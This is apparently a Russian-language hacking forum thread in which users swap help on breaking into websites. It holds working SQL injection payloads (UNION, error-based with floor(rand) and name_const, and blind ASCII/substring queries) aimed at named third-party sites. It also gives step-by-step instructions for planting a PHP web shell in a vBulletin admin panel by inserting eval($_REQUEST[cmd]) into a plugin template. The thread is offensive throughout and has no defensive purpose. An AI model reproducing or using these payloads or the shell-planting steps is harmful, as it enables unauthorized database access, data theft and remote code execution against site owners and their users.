Ваши вопросы по уязвимостям.

ктото с таким сталкивался?
http://www.chinashopunion.com/productinfo.php?id=109+/*!UnIoN+SeLeCt*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

 

Code:

http://www.chinashopunion.com/productinfo.php?id=(select+1+from+(select+count(0),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)

 

выдает:

 

Он выдаёт при запросе http://www.chinashopunion.com/productinfo.php?id=(select+1+from+(select+count(0),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+0,1)a)
Duplicate entry 'CHARACTER_SETS1' for key 1 То есть имя первой таблицы. Лимитом вот так перебирай их, лимит в середине запроса.

 

547, ты пробелы убери >

 

да я на самом деле шарю error based но иногда теряю бдительность
спасибо за помощь,убрал пробелы и все ок

 

http://arbaleta.net/detail/1283'/
wtf?

 

По-моему там ничего нет.

 

Просто ошибка вроде.

 

есть скуля
http://www.libyaonline.com/business/pages.php?cid=298 order by 1 --
пишу union пишет ошибку
http://www.libyaonline.com/business/pages.php?cid=298%20union%20select%201/*
пробывал ч-з blind не выходит

 

http://www.libyaonline.com/business/pages.php?cid=298+and+ascii(substring((select+1+from+users+limit+0,1),1,1))>1--

или

http://www.libyaonline.com/business/pages.php
?cid=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from users group by x)a)--

 

Здравствуйте, не подскажите как залить шел из админки воблы 3.8.5 ?

 

Через модули тем куча читай

 

http://www.realitytvworld.com/index/articles/summary.php?i=133


shell_c0de:Еще раз такой пост увижу в БАН!
вам влом описать суть вопроса или тут должны догодатся и раскручивать вам ?

 

http://www.realitytvworld.com/index/articles/summary.php?i=133 or(1,2)=(select*from(select name_const((select+version()),1),name_const((select+version()),1))a)

 

помогите найти админку. Нашел /controlpanel/ & /login.php
Залогинился в логин.пхп как админ, а вот саму админку найти не могу=(

 

Ссылку не выложишь? Как это: авторизацию прошел и никуда не редиректили?

 

Извини не выдержал.... У тебя перед глазами сайт и ты не нашёл где админка, а хочешь что бы мы могли угадать по двум словам? =)


Лан чтоб уж не пустозвонить ... ты из какого браузера заходишь? Иногда, бывает, что только в осле нормально работают некоторые админки. Так же может у тебя появились полномочия править статьи.. новости... походи по сайту и посмотри....

 

В админке: Plugins & Products -> Plugin Manager -> [Add New Plugin]

вписываем eval($_REQUEST[cmd]); в любой темплейт, например в faq_complete, Plugin is Active выставляем "Yes" и сохраняем

шелл будет тут:
http://localhost/forum/faq.php?cmd=phpinfo();

 

К чему весь этот цирк? потом все новичку привыкают при первом же вопросе постить в эту ветку, которая повторяет по тысячному разу одни и те же вопросы...посылать надо в поиск ...или если и хочется поможь то непосредственно линк на ветку, сейчас начнутся вопросы что такое евал итд и тп...